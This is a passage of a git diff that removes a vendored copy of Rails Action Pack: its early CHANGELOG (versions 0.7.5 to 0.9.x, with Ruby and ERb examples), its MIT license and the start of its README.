-    <% if options[:scaffold] %>
-      scaffold :<%= singular_name %>
-    <% end %>
-      helper :post
-  
-  ...produces this on post as singular_name:
-
-    class SomeController < ApplicationController
-    
-      scaffold :post
-    
-      helper :post
-  
-  ...where as:
-
-    class SomeController < ApplicationController
-    <% if options[:scaffold] -%>
-      scaffold :<%= singular_name %>
-    <% end -%>
-      helper :post
-  
-  ...produces:
-
-    class SomeController < ApplicationController
-      scaffold :post
-      helper :post
-  
-  [This undocumented gem for ERb was uncovered by bitsweat]
-
-* Fixed CgiRequest so that it'll now accept session options with Symbols as keys (as the documentation points out) [Suggested by Andreas]
-
-* Added that render_partial will always by default include a counter with value 1 unless there is a counter passed in via the 
-  local_assigns hash that overrides it. As a result, render_collection_of_partials can still be written in terms of render_partial
-  and partials that make use of a counter can be called without problems from both render_collection_of_partials as well as
-  render_partial #295 [Marcel Molina Jr.]
-
-* Fixed CgiRequest#out to fall back to #write if $stdout doesn't have #syswrite [Jeremy Kemper]
-
-* Fixed all helpers so that they use XHTML compliant double quotes for values instead of single quotes [htonl/Jeremy Kemper]
-
-* Added link_to_image(src, options = {}, html_options = {}). Documentation:
-
-    Creates a link tag to the image residing at the +src+ using an URL created by the set of +options+. See the valid options in
-    link:classes/ActionController/Base.html#M000021. It's also possible to pass a string instead of an options hash to
-    get a link tag that just points without consideration. The <tt>html_options</tt> works jointly for the image and ahref tag by
-    letting the following special values enter the options on the image and the rest goes to the ahref:
-    
-    ::alt: If no alt text is given, the file name part of the +src+ is used (capitalized and without the extension)
-    ::size: Supplied as "XxY", so "30x45" becomes width="30" and height="45"
-    ::align: Sets the alignment, no special features
-    
-    The +src+ can be supplied as a... 
-    * full path, like "/my_images/image.gif"
-    * file name, like "rss.gif", that gets expanded to "/images/rss.gif"
-    * file name without extension, like "logo", that gets expanded to "/images/logo.png"
-
-* Fixed to_input_field_tag so it no longer explicitly uses InstanceTag.value if value was specified in the options hash [evl]
-
-* Added the possibility of having validate be protected for assert_(in)valid_column #263 [Tobias Lütke]
-
-* Added that ActiveRecordHelper#form now calls url_for on the :action option.
-
-* Added all the HTTP methods as alternatives to the generic "process" for functional testing #276 [Tobias Lütke]. Examples:
-
-    # Calls Controller#miletone with a GET request
-    process :milestone
-    
-    # Calls Controller#miletone with a POST request that has parameters
-    post :milestone, { "name" => "David" }
-    
-    # Calls Controller#milestone with a HEAD request that has both parameters and session data
-    head :milestone, { "id" => 1 }, { "user_id" => 23 }
-
-  This is especially useful for testing idiomatic REST web services.
-
-* Added proper handling of HEAD requests, so that content isn't returned (Request#head? added as well) #277 [Eric Hodel]
-
-* Added indifference to whether @headers["Content-Type"], @headers["Content-type"], or @headers["content-type"] is used.
-
-* Added TestSession#session_id that returns an empty string to make it easier to functional test applications that doesn't use 
-  cookie-based sessions #275 [jcf]
-
-* Fixed that cached template loading would still check the file system to see if the file existed #258 [Andreas Schwarz]
-
-* Added options to tailor header tag, div id, and div class on ActiveRecordHelper#error_messages_for [Josh Peek]
-
-* Added graceful handling of non-alphanumeric names and misplaced brackets in input parameters [Jeremy Kemper]
-
-* Added a new container for cookies that makes them more intuative to use. The old methods of cookie and @cookies have been deprecated.
-
-  Examples for writing:
-
-    cookies["user_name"] = "david" # => Will set a simple session cookie
-    cookies["login"] = { "value" => "XJ-122", "expires" => Time.now + 360} # => Will set a cookie that expires in 1 hour
-    
-  Examples for reading:
-  
-    cookies["user_name"] # => "david"
-    cookies.size         # => 2
-
-  Read more in ActionController::Cookies
-
-  NOTE: If you were using the old accessor (cookies instead of @cookies), this could potentially break your code -- if you expect a full cookie object!
-
-* Added the opportunity to defined method_missing on a controller which will handle all requests for actions not otherwise defined #223 [timb]
-
-* Fixed AbstractRequest#remote_ip for users going through proxies - Patch #228 [Eric Hodel]
-
-* Added Request#ssl? which is shorthand for @request.protocol == "https://"
-
-* Added the choice to call form_tag with no arguments (resulting in a form posting to current action) [Jeremy Kemper]
-
-* Upgraded to Builder 1.2.1
-
-* Added :module as an alias for :controller_prefix to url_for and friends, so you can do redirect_to(:module => "shop", :controller => "purchases")
-  and go to /shop/purchases/
-
-* Added support for controllers in modules through @params["module"].
-
-* Added reloading for dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use those environments for development.
-  This is turned on by default, but can be turned off with ActionController::Base.reload_dependencies = false in production environments.
-
-  NOTE: This will only have an effect if you use the new model, service, and observer class methods to mark dependencies. All libraries loaded through
-  require will be "forever" cached. You can, however, use ActionController::Base.load_or_require("library") to get this behavior outside of the new
-  dependency style.
-
-* Added that controllers will automatically require their own helper if possible. So instead of doing:
-
-    class MsgController < ApplicationController
-      helper :msg
-    end
-    
-  ...you can just do:
-  
-    class MsgController < ApplicationController
-    end
-
-* Added dependencies_on(layer) to query the dependencies of a controller. Examples:
-  
-    MsgController.dependencies_on(:model)    # => [ :post, :comment, :attachment ]
-    MsgController.dependencies_on(:service)  # => [ :notification_service ]
-    MsgController.dependencies_on(:observer) # => [ :comment_observer ]
-
-* Added a new dependency model with the class methods model, service, and observer. Example:
-
-    class MsgController < ApplicationController
-      model    :post, :comment, :attachment
-      service  :notification_service
-      observer :comment_observer
-    end
-
-  These new "keywords" remove the need for explicitly calling 'require' in most cases. The observer method even instantiates the
-  observer as well as requiring it.
-
-* Fixed that link_to would escape & in the url again after url_for already had done so
-
-
-*0.9.5* (28)
-
-* Added helper_method to designate that a given private or protected method you should available as a helper in the view. [Jeremy Kemper]
-
-* Fixed assert_rendered_file so it actually verifies if that was the rendered file [htonl]
-
-* Added the option for sharing partial spacer templates just like partials themselves [radsaq]
-
-* Fixed that Russia was named twice in country_select [alexey]
-
-* Fixed request_origin to use remote_ip instead of remote_addr [Jeremy Kemper]
-
-* Fixed link_to breakage when nil was passed for html_options [alexey]
-
-* Fixed redirect_to on a virtual server setup with apache with a port other than the default where it would forget the port number [seanohalpin]
-
-* Fixed that auto-loading webrick on Windows would cause file uploads to fail [Jeremy Kemper]
-
-* Fixed issues with sending files on WEBrick by setting the proper binmode [Jeremy Kemper]
-
-* Added send_data as an alternative to send_file when the stream is not read off the filesystem but from a database or generated live [Jeremy Kemper]
-
-* Added a new way to include helpers that doesn't require the include hack and can go without the explicit require. [Jeremy Kemper]
-
-  Before:
-
-    module WeblogHelper
-      def self.included(controller) #:nodoc:
-        controller.ancestors.include?(ActionController::Base) ? controller.add_template_helper(self) : super
-      end
-    end
-
-    require 'weblog_helper'
-    class WeblogController < ActionController::Base
-      include WeblogHelper
-    end
-    
-  After:
-
-    module WeblogHelper
-    end
-
-    class WeblogController < ActionController::Base
-      helper :weblog
-    end
-
-* Added a default content-type of "text/xml" to .rxml renders [Ryan Platte]
-
-* Fixed that when /controller/index was requested by the browser, url_for would generates wrong URLs [Ryan Platte]
-
-* Fixed a bug that would share cookies between users when using FastCGI and mod_ruby [The Robot Co-op]
-
-* Added an optional third hash parameter to the process method in functional tests that takes the session data to be used [alexey]
-
-* Added UrlHelper#mail_to to make it easier to create mailto: style ahrefs
-
-* Added better error messages for layouts declared with the .rhtml extension (which they shouldn't) [geech]
-
-* Added another case to DateHelper#distance_in_minutes to return "less than a minute" instead of "0 minutes" and "1 minute" instead of "1 minutes"
-
-* Added a hidden field to checkboxes generated with FormHelper#check_box that will make sure that the unchecked value (usually 0)
-  is sent even if the checkbox is not checked. This relieves the controller from doing custom checking if the checkbox wasn't
-  checked. BEWARE: This might conflict with your run-on-the-mill work-around code. [Tobias Lütke]
-
-* Fixed error_message_on to just use the first if more than one error had been added [Marcel Molina Jr.]
-
-* Fixed that URL rewriting with /controller/ was working but /controller was not and that you couldn't use :id on index [geech]
-
-* Fixed a bug with link_to where the :confirm option wouldn't be picked up if the link was a straight url instead of an option hash
-
-* Changed scaffolding of forms to use <label> tags instead of <b> to please W3C [evl]
-
-* Added DateHelper#distance_of_time_in_words_to_now(from_time) that works like distance_of_time_in_words, 
-  but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
-
-* Added assert_flash_equal(expected, key, message), assert_session_equal(expected, key, message), 
-  assert_assigned_equal(expected, key, message) to test the contents of flash, session, and template assigns.
-
-* Improved the failure report on assert_success when the action triggered a redirection [alexey].
-
-* Added "markdown" to accompany "textilize" as a TextHelper method for converting text to HTML using the Markdown syntax.
-  BlueCloth must be installed in order for this method to become available.
-
-* Made sure that an active session exists before we attempt to delete it [Samuel]
-
-* Changed link_to with Javascript confirmation to use onclick instead of onClick for XHTML validity [Scott Barron]
-
-
-*0.9.0 (43)*
-
-* Added support for Builder-based templates for files with the .rxml extension. These new templates are an alternative to ERb that
-  are especially useful for generating XML content, such as this RSS example from Basecamp:
-
-    xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
-      xml.channel do
-        xml.title(@feed_title)
-        xml.link(@url)
-        xml.description "Basecamp: Recent items"
-        xml.language "en-us"
-        xml.ttl "40"
-    
-        for item in @recent_items
-          xml.item do
-            xml.title(item_title(item))
-            xml.description(item_description(item)) if item_description(item)
-            xml.pubDate(item_pubDate(item))
-            xml.guid(@person.firm.account.url + @recent_items.url(item))
-            xml.link(@person.firm.account.url + @recent_items.url(item))
-        
-            xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
-          end
-        end
-      end
-    end
-
-    ...which will generate something like:
-
-    <rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
-      <channel>
-        <title>Web Site Redesign</title>
-        <link>http://www.basecamphq.com/clients/travelcenter/1/</link>
-        <description>Basecamp: Recent items</description>
-        <language>en-us</language>
-        <ttl>40</ttl>
-        <item>
-          <title>Post: don't you know</title>
-          <description>&amp;lt;p&amp;gt;deeper and down&amp;lt;/p&amp;gt;</description>
-          <pubDate>Fri, 20 Aug 2004 21:13:50 CEST</pubDate>
-          <guid>http://www.basecamphq.com/clients/travelcenter/1/msg/assets/96976/comments</guid>
-          <link>http://www.basecamphq.com/clients/travelcenter/1/msg/assets/96976/comments</link>
-          <dc:creator>David H. Heinemeier</dc:creator>
-        </item>
-        <item>
-          <title>Milestone completed: Design Comp 2</title>
-          <pubDate>Mon,  9 Aug 2004 14:42:06 CEST</pubDate>
-          <guid>http://www.basecamphq.com/clients/travelcenter/1/milestones/#49</guid>
-          <link>http://www.basecamphq.com/clients/travelcenter/1/milestones/#49</link>
-        </item>
-      </channel>
-    </rss>
-
-  The "xml" local variable is automatically available in .rxml templates. You construct the template by calling a method with the name
-  of the tag you want. Options for the tag can be specified as a hash parameter to that method.
-
-  Builder-based templates can be mixed and matched with the regular ERb ones. The only thing that differentiates them is the extension.
-  No new methods have been added to the public interface to handle them. 
-  
-  Action Pack ships with a version of Builder, but it will use the RubyGems version if you have one installed.
-  
-  Read more about Builder on: http://onestepback.org/index.cgi/Tech/Ruby/StayingSimple.rdoc
-  
-  [Builder is created by Jim Weirich]
-
-* Added much improved support for functional testing [what-a-day].
-
-    # Old style
-    def test_failing_authenticate
-      @request.request_uri = "/login/authenticate"
-      @request.action = "authenticate"
-      @request.request_parameters["user_name"] = "nop"
-      @request.request_parameters["password"]  = ""
-  
-      response = LoginController.process_test(@request)
-  
-      assert_equal "The username and/or password you entered is invalid.", response.session["flash"]["alert"]
-      assert_equal "http://37signals.basecamp.com/login/", response.headers["location"]
-    end
-
-    # New style
-    def test_failing_authenticate
-      process :authenticate, "user_name" => "nop", "password" => ""
-      assert_flash_has 'alert'
-      assert_redirected_to :action => "index"
-    end
-
-  See a full example on http://codepaste.org/view/paste/334
-
-* Increased performance by up to 100% with a revised cookie class that fixes the performance problems with the 
-  default one that ships with 1.8.1 and below. It replaces the inheritance on SimpleDelegator with DelegateClass(Array)
-  following the suggestion from Matz on:
-  http://groups.google.com/groups?th=e3a4e68ba042f842&seekm=c3sioe%241qvm%241%40news.cybercity.dk#link14
-
-* Added caching for compiled ERb templates. On Basecamp, it gave between 8.5% and 71% increase in performance [Andreas Schwarz].
-
-* Added implicit counter variable to render_collection_of_partials [Marcel Molina Jr.]. From the docs:
-
-    <%= render_collection_of_partials "ad", @advertisements %>
-    
-    This will render "advertiser/_ad.rhtml" and pass the local variable +ad+ to the template for display. An iteration counter
-    will automatically be made available to the template with a name of the form +partial_name_counter+. In the case of the 
-    example above, the template would be fed +ad_counter+.
-
-* Fixed problems with two sessions being maintained on reset_session that would particularly screw up ActiveRecordStore.
-
-* Fixed reset_session to start an entirely new session instead of merely deleting the old. So you can now safely access @session
-  after calling reset_ression and expect it to work.
-
-* Added @request.get?, @request.post?, @request.put?, @request.delete? as convenience query methods for @request.method [geech]
-
-* Added @request.method that'll return a symbol representing the HTTP method, such as :get, :post, :put, :delete [geech]
-
-* Changed @request.remote_ip and @request.host to work properly even when a proxy is in front of the application [geech]
-
-* Added JavaScript confirm feature to link_to. Documentation:
-
-    The html_options have a special feature for creating javascript confirm alerts where if you pass 
-    :confirm => 'Are you sure?', the link will be guarded with a JS popup asking that question.
-    If the user accepts, the link is processed, otherwise not.
-
-* Added link_to_unless_current as a UrlHelper method [Sam Stephenson]. Documentation:
-
-    Creates a link tag of the given +name+ using an URL created by the set of +options+, unless the current 
-    controller, action, and id are the same as the link's, in which case only the name is returned (or the
-    given block is yielded, if one exists). This is useful for creating link bars where you don't want to link 
-    to the page currently being viewed.
-
-* Fixed that UrlRewriter (the driver for url_for, link_to, etc) would blow up when the anchor was an integer [alexey]
-
-* Added that layouts defined with no directory defaults to layouts. So layout "weblog/standard" will use
-  weblog/standard (as always), but layout "standard" will use layouts/standard.
-
-* Fixed that partials (or any template starting with an underscore) was publically viewable [Marten]
-
-* Added HTML escaping to text_area helper.
-
-* Added :overwrite_params to url_for and friends to keep the parameters as they were passed to the current action and only overwrite a subset.
-  The regular :params will clear the slate so you need to manually add in existing parameters if you want to reuse them. [raphinou]
-
-* Fixed scaffolding problem with composite named objects [Moo Jester]
-
-* Added the possibility for shared partials. Example:
-
-    <%= render_partial "advertisement/ad", ad %>
-  
-  This will render the partial "advertisement/_ad.rhtml" regardless of which controller this is being called from.
-  
-  [Jacob Fugal]
-
-* Fixed crash when encountering forms that have empty-named fields [James Prudente]
-
-* Added check_box form helper method now accepts true/false as well as 1/0 [what-a-day]
-
-* Fixed the lacking creation of all directories with install.rb [Dave Steinberg]
-
-* Fixed that date_select returns valid XHTML selected options [Andreas Schwarz]
-
-* Fixed referencing an action with the same name as a controller in url_for [what-a-day]
-
-* Fixed the destructive nature of Base#attributes= on the argument [Kevin Watt]
-
-* Changed ActionControllerError to decent from StandardError instead of Exception. It can now be caught by a generic rescue.
-
-* Added SessionRestoreError that is raised when a session being restored holds objects where there is no class available.
-
-* Added block as option for inline filters. So what used to be written as:
-
-    before_filter Proc { |controller| return false if controller.params["stop_action"] }
-
-  ...can now be as:
-
-    before_filter { |controller| return false if controller.params["stop_action"] }
-  
-  [Jeremy Kemper]
-
-* Made the following methods public (was protected): url_for, controller_class_name, controller_name, action_name
-  This makes it easier to write filters without cheating around the encapsulation with send.
-
-* ActionController::Base#reset_session now sticks even if you access @session afterwards [Kent Sibilev]
-
-* Improved the exception logging so the log file gets almost as much as in-browser debugging.
-
-* Changed base class setup from AbstractTemplate/ERbTemplate to ActionView::Base. This change should be harmless unless you were
-  accessing Action View directly in which case you now need to reference the Base class.\
-
-* Added that render_collection_of_partials returns nil if the collection is empty. This makes showing a “no items” message easier. 
-  For example: <%= render_collection_of_partials("message", @messages) || "No messages found." %> [Sam Stephenson]
-
-* Added :month_before_year as an option to date_select to get the month select before the year. Especially useful for credit card forms.
-
-* Added :add_month_numbers to select_month to get options like "3 - March".
-
-* Removed Base.has_active_layout? as it couldn't answer the question without the instance. Use Base#active_layout instead.
-
-* Removed redundant call to update on ActionController::Base#close_session [Andreas Schwarz]
-
-* Fixed that DRb Store accidently started its own server (instead of just client) [Andreas]
-
-* Fixed strip_links so it now works across multiple lines [Chad Fowler]
-
-* Fixed the TemplateError exception to show the proper trace on to_s (useful for unit test debugging)
-
-* Implemented class inheritable attributes without eval [Caio Chassot]
-
-* Made TextHelper#concat accept binding as it would otherwise not work
-
-* The FormOptionsHelper will now call to_s on the keys and values used to generate options
-
-
-*0.8.5*
-
-* Introduced passing of locally scoped variables between templates:
-
-    You can pass local variables to sub templates by using a hash of with the variable 
-    names as keys and the objects as values:
-    
-      <%= render "shared/header", { "headline" => "Welcome", "person" => person } %>
-    
-    These can now be accessed in shared/header with:
-    
-      Headline: <%= headline %>
-      First name: <%= person.first_name %>
-    
-* Introduced the concept of partials as a certain type of sub templates:
-
-    There's also a convenience method for rendering sub templates within the current 
-    controller that depends on a single object (we call this kind of sub templates for 
-    partials). It relies on the fact that partials should follow the naming convention
-    of being prefixed with an underscore -- as to separate them from regular templates
-    that could be rendered on their own. In the template for Advertiser#buy, we could have:
-    
-      <% for ad in @advertisements %>
-        <%= render_partial "ad", ad %>
-      <% end %>
-    
-    This would render "advertiser/_ad.rhtml" and pass the local variable +ad+ 
-    for the template to display.
-    
-    == Rendering a collection of partials
-    
-    The example of partial use describes a familar pattern where a template needs
-    to iterate over a array and render a sub template for each of the elements. 
-    This pattern has been implemented as a single method that accepts an array and 
-    renders a partial by the same name of as the elements contained within. So the 
-    three-lined example in "Using partials" can be rewritten with a single line:
-    
-      <%= render_collection_of_partials "ad", @advertisements %>
-    
-    So this will render "advertiser/_ad.rhtml" and pass the local variable +ad+ for 
-    the template to display.
-
-* Improved send_file by allowing a wide range of options to be applied [Jeremy Kemper]:
-
-    Sends the file by streaming it 4096 bytes at a time. This way the
-    whole file doesn't need to be read into memory at once.  This makes
-    it feasible to send even large files.
-    
-    Be careful to sanitize the path parameter if it coming from a web
-    page.  send_file(@params['path'] allows a malicious user to
-    download any file on your server.
-    
-    Options:
-    * <tt>:filename</tt> - specifies the filename the browser will see.  
-      Defaults to File.basename(path).
-    * <tt>:type</tt> - specifies an HTTP content type.  
-      Defaults to 'application/octet-stream'.
-    * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.  
-      Valid values are 'inline' and 'attachment' (default).
-    * <tt>:buffer_size</tt> - specifies size (in bytes) of the buffer used to stream
-      the file.  Defaults to 4096.
-    
-    The default Content-Type and Content-Disposition headers are
-    set to download arbitrary binary files in as many browsers as
-    possible.  IE versions 4, 5, 5.5, and 6 are all known to have
-    a variety of quirks (especially when downloading over SSL).
-    
-    Simple download:
-      send_file '/path/to.zip'
-    
-    Show a JPEG in browser:
-      send_file '/path/to.jpeg', :type => 'image/jpeg', :disposition => 'inline'
-    
-    Read about the other Content-* HTTP headers if you'd like to
-    provide the user with more information (such as Content-Description).
-    http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11
-    
-    Also be aware that the document may be cached by proxies and browsers.
-    The Pragma and Cache-Control headers declare how the file may be cached
-    by intermediaries.  They default to require clients to validate with
-    the server before releasing cached responses.  See
-    http://www.mnot.net/cache_docs/ for an overview of web caching and
-    http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9
-    for the Cache-Control header spec.
-
-* Added pluralize method to the TextHelper that makes it easy to get strings like "1 message", "3 messages"
-
-* Added proper escaping for the rescues [Andreas Schwarz]
-
-* Added proper escaping for the option and collection tags [Andreas Schwarz]
-
-* Fixed NaN errors on benchmarking [Jim Weirich]
-
-* Fixed query string parsing for URLs that use the escaped versions of & or ; as part of a key or value
-
-* Fixed bug with custom Content-Type headers being in addition to rather than instead of the default header.
-  (This bug didn't matter with neither CGI or mod_ruby, but FCGI exploded on it) [With help from Ara T. Howard]
-
-
-*0.8.0*
-
-* Added select, collection_select, and country_select to make it easier for Active Records to set attributes through
-  drop-down lists of options. Example:
-  
-    <%= select "person", "gender", %w( Male Female ) %>
-    
-  ...would give the following:
-  
-    <select name="person[gender]" id="person_gender"><option>Male</option><option>Female</option></select>
-
-* Added an option for getting multiple values on a single form name into an array instead of having the last one overwrite.
-  This is especially useful for groups of checkboxes, which can now be written as:
-  
-    <input type="checkbox" name="rights[]" value="CREATE" />
-    <input type="checkbox" name="rights[]" value="UPDATE" />
-    <input type="checkbox" name="rights[]" value="DELETE" />
-  
-  ...and retrieved in the controller action with:
-  
-    @params["rights"] # => [ "CREATE", "UPDATE", "DELETE" ]
-  
-  The old behavior (where the last one wins, "DELETE" in the example) is still available. Just don't add "[]" to the 
-  end of the name. [Scott Baron]
-  
-* Added send_file which uses the new render_text block acceptance to make it feasible to send large files.
-  The files is sent with a bunch of voodoo HTTP headers required to get arbitrary files to download as 
-  expected in as many browsers as possible (eg, IE hacks). Example:
-  
-  def play_movie
-    send_file "/movies/that_movie.avi"
-  end
-  
-  [Jeremy Kemper]
-
-* render_text now accepts a block for deferred rendering. Useful for streaming large files, displaying 
-  a “please wait” message during a complex search, etc. Streaming example:
-  
-    render_text do |response|
-      File.open(path, 'rb') do |file|
-        while buf = file.read(1024)
-          print buf 
-        end 
-      end
-    end
-  
-  [Jeremy Kemper]
-
-* Added a new Tag Helper that can generate generic tags programmatically insted of through HTML. Example:
-    
-    tag("br", "clear" => "all") => <br clear="all" />
-  
-  ...that's usually not terribly interesting (unless you have a lot of options already in a hash), but it 
-  gives way for more specific tags, like the new form tag:
-  
-    form_tag({ :controller => "weblog", :action => "update" }, { :multipart => "true", "style" => "width: 200px"}) =>
-      <form action="/weblog/update" enctype="multipart/formdata" style="width: 200px">
-    
-  There's even a "pretty" version for people who don't like to open tags in code and close them in HTML:
-  
-    <%= start_form_tag :action => "update" %>
-      # all the input fields
-    <%= end_form_tag %>
-  
-  (end_form_tag just returns "</form>")
-
-* The selected parameter in options_for_select may now also an array of values to be selected when 
-  using a multiple select. Example:
-
-    options_for_select([ "VISA", "Mastercard", "Discover" ], ["VISA", "Discover"]) =>
-      <option selected>VISA</option>\n<option>Mastercard</option>\n<option selected>Discover</option>
-      
-  [Scott Baron]
-
-* Changed the URL rewriter so controller_prefix and action_prefix can be used in isolation. You can now do:
-
-    url_for(:controller_prefix => "clients")
-
-  ...or:
-  
-    url_for(:action_prefix => "category/messages")
-
-  Neither would have worked in isolation before (:controller_prefix required a :controller and :action_prefix required an :action)
-
-* Started process of a cleaner separation between Action Controller and ERb-based Action Views by introducing an
-  abstract base class for views. And Amita adapter could be fitted in more easily now.
-
-* The date helper methods date_select and datetime_select now also use the field error wrapping 
-  (div with class fieldWithErrors by default).
-
-* The date helper methods date_select and datetime_select can now discard selects
-
-* Added option on AbstractTemplate to specify a different field error wrapping. Example:
-
-    ActionView::AbstractTemplate.field_error_proc = Proc.new do |html, instance|
-      "<p>#{instance.method_name + instance.error_message}</p><div style='background-color: red'>#{html}</div>"
-    end
-
-  ...would give the following on a Post#title (text field) error:
-  
-    <p>Title can't be empty</p>
-    <div style='background-color: red'>
-      <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
-    </div>
-
-* The UrlHelper methods url_for and link_to will now by default only return paths, not complete URIs.
-  That should make it easier to fit a Rails application behind a proxy or load-balancer.
-  You can overwrite this by passing :only_path => false as part of the options. [Suggested by U235]
-
-* Fixed bug with having your own layout for use with scaffolding [Kevin Radloff]
-
-* Fixed bug where redirect_to_path didn't append the port on non-standard ports [dhawkins]
-
-* Scaffolding plays nicely with single-table inheritance (LoadErrors are caught) [Jeremy Kemper]
-
-* Scaffolding plays nice with plural models like Category/categories [Jeremy Kemper]
-
-* Fixed missing suffix appending in scaffolding [Kevin Radloff]
-
-
-*0.7.9*
-
-* The "form" method now present boolean fields from PostgreSQL as drop-down menu. [Scott]
-
-* Scaffolding now automatically attempts to require the class that's being scaffolded.
-
-* Scaffolding will use the current active layout, instead of its own, if one has been specified. Example:
-
-    class WeblogController < ActionController::Base
-      layout "layouts/weblog"
-      scaffold :post
-    end
-  
-  [Suggested by Scott]
-
-* Changed url_for (and all the that drives, like redirect_to, link_to, link_for) so you can pass it a symbol instead of a hash.
-  This symbol is a method reference which is then called to calculate the url. Example:
-  
-    class WeblogController < ActionController::Base
-      def update
-        # do some update
-        redirect_to :dashboard_url
-      end
-      
-      protected
-        def dashboard_url
-          if @project.active?
-            url_for :controller => "project", :action => "dashboard"
-          else
-            url_for :controller => "account", :action => "dashboard"
-          end
-        end
-    end
-      
-* Added default_url_options to specialize behavior for all url_for (and friends) calls:
-
-    Overwrite to implement a number of default options that all url_for-based methods will use. 
-    The default options should come in form of a hash, just like the one you would use for 
-    url_for directly. Example:
-    
-      def default_url_options(options)
-        { :controller_prefix => @project.active? ? "projects/" : "accounts/" }
-      end
-    
-    As you can infer from the example, this is mostly useful for situations where you want to 
-    centralize dynamic dissions about the urls as they stem from the business domain. Please note
-    that any individual url_for call can always override the defaults set by this method.
-    
-
-* Changed url_for so that an "id" passed in the :params is not treated special. You need to use the dedicated :id to get 
-  the special auto path-params treatment. Considering the url http://localhost:81/friends/list
-
-    url_for(:action => "show", :params => { "id" => 5 })
-      ...used to give http://localhost:81/friends/show/5
-      ......now gives http://localhost:81/friends/show?id=5
-
-    If you want the automated id behavior, do:
-
-    url_for(:action => "show", :id => 5 )
-      ....which gives http://localhost:81/friends/show/5
-
-
-* Fixed problem with anchor being inserted before path parameters with url_for (and friends)
-
-
-*0.7.8*
-
-* Fixed session bug where you couldn't store any objects that didn't exist in the standard library 
-  (such as Active Record objects).
-
-* Added reset_session method for Action Controller objects to clear out all objects in the session.
-
-* Fixed that exceptions raised during filters are now also caught by the default rescues
-
-* Added new around_filter for doing before and after filtering with a single object [Florian Weber]:
-
-    class WeblogController < ActionController::Base
-      around_filter BenchmarkingFilter.new
-      
-      # Before this action is performed, BenchmarkingFilter#before(controller) is executed
-      def index
-      end
-      # After this action has been performed, BenchmarkingFilter#after(controller) is executed
-    end
-    
-    class BenchmarkingFilter
-      def initialize
-        @runtime
-      end
-      
-      def before
-        start_timer
-      end
-      
-      def after
-        stop_timer
-        report_result
-      end
-    end
-
-* Added the options for specifying a different name and id for the form helper methods than what is guessed [Florian Weber]:
-
-    text_field "post", "title"
-      ...just gives: <input id="post_title" name="post[title]" size="30" type="text" value="" />
-      
-    text_field "post", "title", "id" => "title_for_post", "name" => "first_post_title"
-      ...can now give: <input id="title_for_post" name="first_post_title" size="30" type="text" value="" />
-
-* Added DebugHelper with a single "debug" method for doing pretty dumps of objects in the view
-  (now used in the default rescues to better present the contents of session and template variables)
-
-* Added note to log about the templates rendered within layouts (before just the layout was shown)
-
-* Fixed redirects on https setups [Andreas]
-
-* Fixed scaffolding problem on the edit action when using :suffix => true [Scott]
-
-* Fixed scaffolding problem where implementing list.rhtml wouldn't work for the index action
-
-* URLs generated now uses &amp; instead of just & so pages using it can validate with W3C [Spotted by Andreas]
-
-
-*0.7.7*
-
-* Fixed bug in CGI extension that prevented multipart forms from working
-
-
-*0.7.6*
-
-* Included ERB::Util so all templates can easily escape HTML content with <%=h @person.content %>
-
-* All requests are now considered local by default, so everyone will be exposed to detailed debugging screens on errors.
-  When the application is ready to go public, set ActionController::Base.consider_all_requests_local to false, 
-  and implement the protected method local_request? in the controller to determine when debugging screens should be shown.
-
-* Fixed three bugs with the url_for/redirect_to/link_to handling. Considering the url http://localhost:81/friends/show/1
-
-    url_for(:action => "list")
-      ...used to give http://localhost:81/friends/list/1
-      ......now gives http://localhost:81/friends/list
-    
-    url_for(:controller => "friends", :action => "destroy", :id => 5)
-      ...used to give http://localhost:81/friends/destroy
-      ......now gives http://localhost:81/friends/destroy/5
-
-  Considering the url http://localhost:81/teachers/show/t
-
-    url_for(:action => "list", :id => 5)
-      ...used to give http://localhost:81/5eachers/list/t
-      ......now gives http://localhost:81/teachers/list/5
-  
-  [Reported by David Morton & Radsaq]
-
-* Logs exception to logfile in addition to showing them for local requests
-
-* Protects the eruby load behind a begin/rescue block. eRuby is not required to run ActionController.
-
-* Fixed install.rb to also install clean_logger and the templates
-
-* Added ActiveRecordStore as a session option. Read more in lib/action_controller/session/active_record_store.rb [Tim Bates]
-
-* Change license to MIT License (and included license file in package)
-
-* Application error page now returns status code 500 instead of 200
-
-* Fixed using Procs as layout handlers [Florian Weber]
-
-* Fixed bug with using redirects ports other than 80
-
-* Added index method that calls list on scaffolding
-
-
-*0.7.5*
-
-* First public release
diff --git a/vendor/rails/actionpack/MIT-LICENSE b/vendor/rails/actionpack/MIT-LICENSE
deleted file mode 100644
index a345a241..00000000
--- a/vendor/rails/actionpack/MIT-LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-Copyright (c) 2004-2010 David Heinemeier Hansson
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
diff --git a/vendor/rails/actionpack/README b/vendor/rails/actionpack/README
deleted file mode 100644
index 1dff37e1..00000000
--- a/vendor/rails/actionpack/README
+++ /dev/null
@@ -1,409 +0,0 @@
-= Action Pack -- On rails from request to response
-
-Action Pack splits the response to a web request into a controller part
-(performing the logic) and a view part (rendering a template). This two-step
-approach is known as an action, which will normally create, read, update, or
